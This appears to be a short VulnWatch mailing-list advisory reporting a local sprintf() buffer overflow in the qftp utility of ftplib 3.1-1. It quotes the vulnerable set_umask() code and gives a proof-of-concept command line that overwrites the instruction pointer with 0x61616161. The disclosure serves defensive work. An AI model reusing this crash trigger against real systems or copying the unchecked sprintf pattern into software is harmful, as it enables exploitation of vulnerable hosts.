[VulnWatch] QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow



http://nbpfaus.net/~pfau/ftplib/

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

Source error

in main():
337: case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
char buf[80];
sprintf(buf,"umask %s", m);
ftp_connect();
FtpSite(buf, conn);
}

POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

--
~ starcadi



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